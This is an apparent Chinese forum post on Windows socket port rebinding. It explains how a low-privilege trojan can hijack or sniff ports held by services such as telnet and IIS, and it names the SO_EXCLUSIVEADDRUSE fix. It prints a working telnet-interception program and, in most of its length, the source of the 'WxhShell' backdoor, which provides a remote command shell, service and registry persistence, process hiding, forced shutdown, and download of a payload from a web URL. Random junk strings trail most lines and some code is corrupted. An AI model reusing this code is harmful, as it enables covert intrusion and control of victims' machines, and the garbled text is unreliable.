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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `|6'9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ve MH  
L^E[J`  
  saddr.sin_family = AF_INET; Z,sv9{4r  
-}nxJH)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ozmrw\_}[  
$G8E 3|k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X &uTSgN  
p`b"-[93  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &~8oQC-eF  
n!YKz"$  
  这意味着什么?意味着可以进行如下的攻击: hBS.a6u1'd  
'Q|M'5'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =d".|k  
0"kbrv2y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r[2ILe  
}Ga\wV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gRCdY8GH  
6g|*`x{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d ^^bke$~  
GGNvu )"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BzkooJ  
 3L< wQ(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DnC{YK  
E)TN,@%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6VS4y-N  
wP6 Fl L  
  #include QN #U)wn:  
  #include J3e96t~u  
  #include N*"p|yhd]  
  #include    tX5"UQA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W=j[V Oq  
  int main() Lhl]g^SN  
  { BUWqI dg  
  WORD wVersionRequested; 0+?7EL~  
  DWORD ret; OBMTgZHxv  
  WSADATA wsaData; `7[EKOJ3g  
  BOOL val; 5"CZh.J  
  SOCKADDR_IN saddr; igIRSN}h  
  SOCKADDR_IN scaddr; 3Ndq>  
  int err; D>HOn^   
  SOCKET s; y+X2Pl  
  SOCKET sc; M.x=<:upp  
  int caddsize; gnFr}L&j  
  HANDLE mt; C9~52+S  
  DWORD tid;   ",^Mxm{  
  wVersionRequested = MAKEWORD( 2, 2 ); kqM045W7  
  err = WSAStartup( wVersionRequested, &wsaData ); s"0Y3x3  
  if ( err != 0 ) { !F1M(zFD  
  printf("error!WSAStartup failed!\n"); R@/"B8H  
  return -1; 5 xppKt  
  } 6N",- c  
  saddr.sin_family = AF_INET; 43|XSyS  
   -7*ET3NSI/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v/](yT  
[Yo,*,y31  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); brW :C? }  
  saddr.sin_port = htons(23); 3?c3<`TW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5k`l $mW{  
  { %6t2ohO"  
  printf("error!socket failed!\n"); \ Pj  
  return -1; !zkZQ2{Wn  
  } u -;_y='m  
  val = TRUE; eIz<)-7:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 : ]sUpO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $K]m{  
  { [#l*_0  
  printf("error!setsockopt failed!\n"); MXw hxk#E  
  return -1; b6Wqr/  
  } byLft 1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b:Wm8pp?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xCg52zkH#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ox(j^x]NC  
jE}33"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &^#VN%{  
  { H7d/X  
  ret=GetLastError(); +wEac g>>E  
  printf("error!bind failed!\n"); *]AdUEV?  
  return -1; ;LG#.~f  
  } *QwY]j%^  
  listen(s,2); uW30ep'  
  while(1) .$qnZWcgG  
  { <R''oEf9  
  caddsize = sizeof(scaddr); `V`lo,"\  
  //接受连接请求 ~rDZ?~%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AfX}y+Ah  
  if(sc!=INVALID_SOCKET) ,quoRan  
  { {)BTR%t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P0W*C6&71|  
  if(mt==NULL) *pSQU=dmS  
  { d{SG Cr 9d  
  printf("Thread Creat Failed!\n"); Jth[DUH8H  
  break; n@C[@?D  
  } pimtiQqC  
  } AyNI$Q6Z  
  CloseHandle(mt); U^Q:Y}^  
  } "t (p&;d  
  closesocket(s); znxnL,-  
  WSACleanup(); (Dw,DY9  
  return 0; [<%H>S1  
  }   bmfI~8  
  DWORD WINAPI ClientThread(LPVOID lpParam) ' 0J1vG~c  
  { g]4(g<:O  
  SOCKET ss = (SOCKET)lpParam; >Db;yC&  
  SOCKET sc; Ov-icDMm  
  unsigned char buf[4096]; OW3sS+y  
  SOCKADDR_IN saddr; w2 a1mU/  
  long num; \HKxh:F'  
  DWORD val; YL]Z<%aKt  
  DWORD ret; |G?htZF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tn Pv70m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d/BM&r  
  saddr.sin_family = AF_INET; LcUh;=r}&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I1pWaQ0  
  saddr.sin_port = htons(23); aMtsmL?=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JT3-AAi[Z  
  { ^>i63Yc  
  printf("error!socket failed!\n"); U.DDaT1  
  return -1; q(`/Vo4g(  
  } 6LalW5I  
  val = 100; BI3@|,._N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Lv| q  
  { N"]q='t  
  ret = GetLastError(); .NYbi@bk(<  
  return -1; -I&m:A$4*  
  } )%`^xR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fA+ ,TEB~d  
  { {u#;?u=|  
  ret = GetLastError(); +kzo*zW$L  
  return -1; j@SQ~AS  
  } $npT[~U5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Dp)=0<$y  
  { sg$rzT-S4  
  printf("error!socket connect failed!\n"); Tk5W'p|6f  
  closesocket(sc); _F$aUtb%O  
  closesocket(ss); VU&7P/\f%  
  return -1; U<DZ:ds ?T  
  } Bj1?x  
  while(1) ,n3a gkPO>  
  { 9%B\/&f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0:9.;x9_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @GdbTd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ";3zX k[#  
  num = recv(ss,buf,4096,0); Qa-K$dm%  
  if(num>0) sj HrPs e  
  send(sc,buf,num,0); I'uSp-Sfy  
  else if(num==0) mt,OniU=Q  
  break; 0=AVW`J  
  num = recv(sc,buf,4096,0); BT}!W`  
  if(num>0) {bJ`~b9e  
  send(ss,buf,num,0); 4nh>'v%pD  
  else if(num==0) W g02 A\  
  break; OmIg<v 0\;  
  } DXJ`oh  
  closesocket(ss); ll`>FcQ  
  closesocket(sc); uBNn6j  
  return 0 ; 23RN}LUi  
  } Rm255z p  
-uMSe~  
L.S;J[a;  
========================================================== " @v <Bk  
p<,*3huj  
下边附上一个代码,,WXhSHELL VJickXA  
u>kN1kQ8  
========================================================== YoBPLS`K  
{q `jDDM  
#include "stdafx.h" +yk24 ` >  
g*03{l#P  
#include <stdio.h> inh=WUEW  
#include <string.h> apg=-^L'  
#include <windows.h> HY&aV2|A1  
#include <winsock2.h> A8uVK5  
#include <winsvc.h> M%2+y5  
#include <urlmon.h> ?0v-qj+  
NbgK@eV}+{  
#pragma comment (lib, "Ws2_32.lib") i{`FmrPO~  
#pragma comment (lib, "urlmon.lib") $a ]_w.@  
JM x>][xD  
#define MAX_USER   100 // 最大客户端连接数 P<X\%_Iat  
#define BUF_SOCK   200 // sock buffer n1ly y0%u  
#define KEY_BUFF   255 // 输入 buffer G9xmmc  
:6vm+5!  
#define REBOOT     0   // 重启 AiEd!u.  
#define SHUTDOWN   1   // 关机 ~Y|*`C_)  
@mw5~+  
#define DEF_PORT   5000 // 监听端口 k <=//r  
ca7=V/i_a{  
#define REG_LEN     16   // 注册表键长度 ;7?kl>5]  
#define SVC_LEN     80   // NT服务名长度 |wiqGzAr{  
$$ Oey)*  
// 从dll定义API aMWmLpv4'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zO).T M_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p i %< Sy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?[g=F <r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "Zl5<  
fI{&#~f4C  
// wxhshell配置信息 T 6)bD&  
struct WSCFG { 6p?,(  
  int ws_port;         // 监听端口 r:f[mk"-"A  
  char ws_passstr[REG_LEN]; // 口令 S- pV_Ff  
  int ws_autoins;       // 安装标记, 1=yes 0=no K/i*w<aPb7  
  char ws_regname[REG_LEN]; // 注册表键名 `6lr4Kk @R  
  char ws_svcname[REG_LEN]; // 服务名 U+:m4a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _+K_5IO4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >7I15U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cd,jDPrw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @D{KdyW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x=b7':nQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /Z~<CbKKl  
:S<f?* }:  
}; gl\\+VyU  
/?@3.3sl_  
// default Wxhshell configuration pGJ>O/%  
struct WSCFG wscfg={DEF_PORT, uE%r/:!k4$  
    "xuhuanlingzhe", 'p> Ra/4  
    1, mZSD(  
    "Wxhshell", _jLL_GD  
    "Wxhshell", o]yl ;I  
            "WxhShell Service", QZ6D7t Uc8  
    "Wrsky Windows CmdShell Service", nuk*.Su  
    "Please Input Your Password: ", =Xi07_8Ic<  
  1, 3Dng 1}  
  "http://www.wrsky.com/wxhshell.exe", :~2vJzp@?  
  "Wxhshell.exe" 2%LL Sa  
    }; YB(Q\hT~\;  
p1Jh0o8  
// 消息定义模块 b\yXbyjZ3.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -w9pwB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q.l}NtHwV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (gP)%  
char *msg_ws_ext="\n\rExit."; ^ DaBz\  
char *msg_ws_end="\n\rQuit."; ^hc!FD  
char *msg_ws_boot="\n\rReboot..."; OGK}EI  
char *msg_ws_poff="\n\rShutdown..."; ,]9P{k]O  
char *msg_ws_down="\n\rSave to "; >/l? g5{  
i,>khc  
char *msg_ws_err="\n\rErr!"; hIy~B['  
char *msg_ws_ok="\n\rOK!"; B"h#C!E  
@ [:ZS+1  
char ExeFile[MAX_PATH]; jrr EAp  
int nUser = 0; W>) M5t4i  
HANDLE handles[MAX_USER]; K^1oDP  
int OsIsNt; 5gYRwuf  
&e E=<x  
SERVICE_STATUS       serviceStatus; 0z1ifg&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U' H$`$Ov  
U{2BVqM  
// 函数声明 A\4D79>x  
int Install(void); $xzAv{  
int Uninstall(void); \k.{-nh  
int DownloadFile(char *sURL, SOCKET wsh); B<5R   
int Boot(int flag); X{5vXT\/y  
void HideProc(void); S\:P-&dC  
int GetOsVer(void); ZP@ $Q%up  
int Wxhshell(SOCKET wsl); >0/i[k-dk  
void TalkWithClient(void *cs); q!.byrod  
int CmdShell(SOCKET sock); }AB, 8n`  
int StartFromService(void); 4ezEW|S  
int StartWxhshell(LPSTR lpCmdLine); _ TiuY  
wH>a~C:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VCV"S>aVf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q-_N2W ?  
CAfGH!l!  
// 数据结构和表定义 ((H^2KJn  
SERVICE_TABLE_ENTRY DispatchTable[] = t<#TJ>Le  
{ '))0Lh l  
{wscfg.ws_svcname, NTServiceMain}, L-ET<'u  
{NULL, NULL} kVkU)hqR  
}; xN5)   
`, OG7hg  
// 自我安装 @5N]ZQ9  
int Install(void) smlpD3?va  
{ ;rF\kX&Jh  
  char svExeFile[MAX_PATH]; 2;k*@k-t  
  HKEY key; Sdp&jZY  
  strcpy(svExeFile,ExeFile); <c2E'U)X  
VJeu 8ZJ.  
// 如果是win9x系统,修改注册表设为自启动 VEWi_;=J1  
if(!OsIsNt) { \:b3~%Fz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >")Tf6zw&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z>LUH  
  RegCloseKey(key); /Lfm&;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kjIAep0rT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^yWL,$  
  RegCloseKey(key); r(:5kC8K  
  return 0; zBCtd1Xrni  
    } A 9( x  
  } 3x`|  
} " un]Gc   
else { um jt]Gu[  
}q_<_lQ  
// 如果是NT以上系统,安装为系统服务 2M.fLQ?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kz~ps 5  
if (schSCManager!=0) j]{_s"O  
{ :*I# n  
  SC_HANDLE schService = CreateService N(; 1o.~  
  ( K*%9)hq  
  schSCManager, *w|:~g  
  wscfg.ws_svcname, Q A< Rhv,  
  wscfg.ws_svcdisp, {+ ][5<q  
  SERVICE_ALL_ACCESS, 52%2R]G!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h?AS{`.1  
  SERVICE_AUTO_START, hpHr\g  
  SERVICE_ERROR_NORMAL, U_Vs.M.p  
  svExeFile, `tB gH_$M  
  NULL, y^;#&k!  
  NULL, x.]i }mt  
  NULL, Q 8T]\6)m  
  NULL, 1#C4;3i,  
  NULL b,5~b&<h  
  ); .8@$\ZRP  
  if (schService!=0) (jnQ -  
  { D[4u+g?[}>  
  CloseServiceHandle(schService); r)lEofX,g+  
  CloseServiceHandle(schSCManager); 8NxM4$nQX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B}n,b#,*  
  strcat(svExeFile,wscfg.ws_svcname); |9uOUE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0@[$lv;OS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8*W#DH!  
  RegCloseKey(key); .I7pA5V{#  
  return 0; *T- <|zQ  
    } {o)Lc6T8s  
  } qz+dmef  
  CloseServiceHandle(schSCManager); H['N  
} Vy6qbC-Kt  
} wrc,b{{[iM  
^&B@Uw5{  
return 1; "7 4-4  
} dz:E?  
{Bk[rCl  
// 自我卸载 P60~ V"/P  
int Uninstall(void) 2V"B:X\  
{ A}BVep@D  
  HKEY key; +O"!qAiK  
u7Y WnD  
if(!OsIsNt) {  .t{MIC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o\[~.";Z  
  RegDeleteValue(key,wscfg.ws_regname); NokU) O;x  
  RegCloseKey(key); `[z<4"Os   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J28M@cn  
  RegDeleteValue(key,wscfg.ws_regname); Tre]"2l  
  RegCloseKey(key); ;%B(_c  
  return 0; bk[U/9Z\  
  } Pj[PIz  
} Cw iKi^m  
} 1Lc#m`Jln  
else { 6o!!=}'E[  
p09HL%~R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3r<~Q7e  
if (schSCManager!=0) X@'u y<tI-  
{ (lXGmx8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TCN8a/@z  
  if (schService!=0) SAH-p*.  
  { c-x,fS"&W  
  if(DeleteService(schService)!=0) { 61,;Uc\T  
  CloseServiceHandle(schService); ?274uAO'  
  CloseServiceHandle(schSCManager); ]jtK I4  
  return 0; J}*,HT*  
  } qaqBOHI6G  
  CloseServiceHandle(schService); ]S&&|Fc  
  } i)o2klIkB  
  CloseServiceHandle(schSCManager); 7yG#Z)VE  
} zbXI%  
} uX"H4l O~  
$'0u|Xy`  
return 1; %r<rcY  
} NC8t) X7  
0m7Y>0wC6T  
// 从指定url下载文件 P!$Zx)T  
int DownloadFile(char *sURL, SOCKET wsh)  H_B4  
{ qPWP&k  
  HRESULT hr; P#E&|n7DT  
char seps[]= "/"; Yab%/z2:  
char *token; _A M*@|p,  
char *file; l3KVW5-!gS  
char myURL[MAX_PATH]; kj|6iG  
char myFILE[MAX_PATH]; 8|b3j^u  
b1?#81  
strcpy(myURL,sURL); P]<4R:yb  
  token=strtok(myURL,seps); tf =6\p  
  while(token!=NULL) !!qK=V|>  
  { 0v6)t.]s  
    file=token; 8J*"%C$qe  
  token=strtok(NULL,seps); TIx|L  
  } [=x[ w70  
Jz?j[  
GetCurrentDirectory(MAX_PATH,myFILE); bo<~jb{  
strcat(myFILE, "\\"); q?,).x nN  
strcat(myFILE, file); #c!*</  
  send(wsh,myFILE,strlen(myFILE),0); b[__1E9v'  
send(wsh,"...",3,0); %&$Tz1"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !5wIIS:FT  
  if(hr==S_OK) ZufR {^W  
return 0; OGBHos  
else "HX<,l8f%  
return 1; fs|)l$Rd  
UN7EF/!Zz  
} zUDg&-J3  
V@\gS"Tu  
// 系统电源模块 'QG xd!4  
int Boot(int flag) =AsEZ)" _  
{ &*sP/z  
  HANDLE hToken; 68bQ;Dv  
  TOKEN_PRIVILEGES tkp; k=2Lo  
KMt`XaC9e  
  if(OsIsNt) { B6=ebM`q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,c$,!.r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rjl`&POqc  
    tkp.PrivilegeCount = 1; he#J|p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H1 2Fw'2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s J\BF  
if(flag==REBOOT) { HPpR.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SEORSS  
  return 0; S,D8F&bg  
} "lQ*1.i  
else { ?M$.+V{a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  ,t}vz 7  
  return 0; -_ I _W&  
} ADZ};:]  
  } Rn#KfI:{  
  else { 7ByTnYe~S  
if(flag==REBOOT) { PiYY6i0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *?o{9v5}(  
  return 0; 8'n/?.7cX  
} NIh:D bE  
else { jNu9KlN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yaj0;Lo[wt  
  return 0; INUG*JC6  
} =b38(\  
} hp8%.V$f  
f6|KN+.  
return 1; Vw[6t>`  
} gHhh>FFAq  
Z.d 7U~_  
// win9x进程隐藏模块 ekI2icD  
void HideProc(void) A2^\q>_#  
{ jATI&oX  
pa#d L!J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5>VY LI  
  if ( hKernel != NULL ) dG@"!!,  
  { `{,Dy!rL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @|LBn6q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); * +'x~a  
    FreeLibrary(hKernel); V7#Ffi  
  } &-s'BT[PGq  
qNI, 62  
return; )q 0.0<f  
} M@h|bN  
CQwL|$)]Y  
// 获取操作系统版本 G,TM-l_uw  
int GetOsVer(void) FSUttg"  
{ qs|mj}?  
  OSVERSIONINFO winfo; . 7zK@6i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |M8WyW  
  GetVersionEx(&winfo); A"`foI$0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b'P eH\h{  
  return 1; w0|gG+x jS  
  else 79nG|Yj|\  
  return 0;  ~UyV<  
} H1I{/g  
lJ+0P2@h*  
// 客户端句柄模块 x8!ol2\`<  
int Wxhshell(SOCKET wsl) gWrgnlq  
{ sBu=e7  
  SOCKET wsh; Ys -T0  
  struct sockaddr_in client; ,\X@~ j  
  DWORD myID; >a"Z\\dF  
GQ*wc?f3  
  while(nUser<MAX_USER) lAzj N~V  
{ |UP `B|  
  int nSize=sizeof(client); @lCJ G!u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7~&/_3  
  if(wsh==INVALID_SOCKET) return 1; GFfq+=se  
o]Ol8I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D,;\o7V  
if(handles[nUser]==0) wtmB+:I  
  closesocket(wsh); Op"M.]#  
else o8zy^zN$6  
  nUser++; y'(Ne=y  
  } Q9U f.Lh2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p(PMZVV`  
PGYXhwOI  
  return 0; .w> 4  
} HODz*pI  
o[v\|Q`d  
// 关闭 socket Z-8Yd6 4  
void CloseIt(SOCKET wsh) YhbZ'SJ  
{ *\(r+>*x*  
closesocket(wsh); -6Oz^  
nUser--; hdnTXs@z  
ExitThread(0); ET_W-  
} N+LL@[  
=1O<E  
// 客户端请求句柄 O$D'.t  
void TalkWithClient(void *cs) zS\E/.X2  
{ s"9`s_p`d  
b3S.-W{p.  
  SOCKET wsh=(SOCKET)cs; 8 %%f%y  
  char pwd[SVC_LEN]; .~Fp)O:!  
  char cmd[KEY_BUFF]; TlI<1/fP}  
char chr[1]; 6lk l7zm  
int i,j; .fN"@l  
&j?#3Qt'_  
  while (nUser < MAX_USER) { zrR`ecC(b  
w^Lta  
if(wscfg.ws_passstr) { t| 9 GS|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %)[+%57{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jg]'+>,J  
  //ZeroMemory(pwd,KEY_BUFF); o }3uo6GIB  
      i=0; 2H/Z_+\  
  while(i<SVC_LEN) { .Q@S #d  
6An9S%:_  
  // 设置超时 TpmwD{c[\  
  fd_set FdRead; $={:r/R`i  
  struct timeval TimeOut; fMGbODAvY  
  FD_ZERO(&FdRead); cE`6uq7 p  
  FD_SET(wsh,&FdRead); &FH2fMLQ  
  TimeOut.tv_sec=8; Eo\UAc  
  TimeOut.tv_usec=0; Zm"{Viv]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2pzF5h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {K4+6p  
\A#1y\ok  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A#nun  
  pwd=chr[0]; |,#t^'S!  
  if(chr[0]==0xd || chr[0]==0xa) { rsF\JQk  
  pwd=0; UA4J>1 i  
  break; B3H|+  
  } /;7y{(o  
  i++; |J+(:{ }~  
    } Z.W66\8~}^  
s[K^9wz  
  // 如果是非法用户,关闭 socket RlqQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &ISb~5  
} 4Sm]>%F':  
% r-V2)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p. R2gl1m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /,MJq#@K  
d~/q"r1"  
while(1) { ~6pr0uyO`  
yC3yij<oR  
  ZeroMemory(cmd,KEY_BUFF); ybeKiv9  
Yly@ww9t|  
      // 自动支持客户端 telnet标准   ,h{A^[yl  
  j=0; oEx\j+}@n  
  while(j<KEY_BUFF) { y.=/J8->  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]c<qM_HWg  
  cmd[j]=chr[0]; 26dUA~|KJ  
  if(chr[0]==0xa || chr[0]==0xd) { S@}1t4Ls:  
  cmd[j]=0; "]m+z)lWd  
  break; (x"BR  
  } ) c/% NiN  
  j++; bn(`O1r[(  
    } v?0r`<Mn  
&-czStQ  
  // 下载文件 [U@ *1  
  if(strstr(cmd,"http://")) {  ],ZzI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j,t#B"hOnp  
  if(DownloadFile(cmd,wsh)) "F3]X)}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HxB m~Lcqy  
  else 3)ma\+< 6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \":?xh_H  
  } E]J:~H'Er  
  else { R g?1-|Tj  
Ja]?&j  
    switch(cmd[0]) { Z1ALq5  
  kW`r=u  
  // 帮助 OFGsjYLw  
  case '?': { 6 4D]Ypx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7_wJpTz  
    break; K*IxUz(  
  } }m/RZP~=  
  // 安装 2>]a)  
  case 'i': { T/c<23i  
    if(Install()) !Oj)B1gc6&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K. %U  
    else t ?h kL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $s4Wkq  
    break; _TUk(Qe  
    } TgTnqR@/  
  // 卸载 V $|<  
  case 'r': { aYn8 ^  
    if(Uninstall()) hKNY+S})g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~"lJ'&J}  
    else v[TYc:L=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ="%W2  
    break; !@I}mQ ~  
    } Uu"0rUzt  
  // 显示 wxhshell 所在路径 QN>7~=`  
  case 'p': { rVtw-[p  
    char svExeFile[MAX_PATH]; ,;<RW]r-P  
    strcpy(svExeFile,"\n\r"); sBK <zR  
      strcat(svExeFile,ExeFile); 7 uMd ZpD  
        send(wsh,svExeFile,strlen(svExeFile),0); YB)3X[R+0  
    break; 0Rz(|jlbS  
    } j'HkBW:L  
  // 重启 2$ !D* <  
  case 'b': { wNNB;n` l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2b=)6H1  
    if(Boot(REBOOT)) B51kV0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LhzMAW<L4  
    else { sp QLG_o,J  
    closesocket(wsh); G ){g  
    ExitThread(0); h{}mBQl  
    } [pg}S#A  
    break; |!H?+Jj:  
    } C#i UP|7hh  
  // 关机 T#!lPH :&h  
  case 'd': { F_ 7H!F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xM s]Hs  
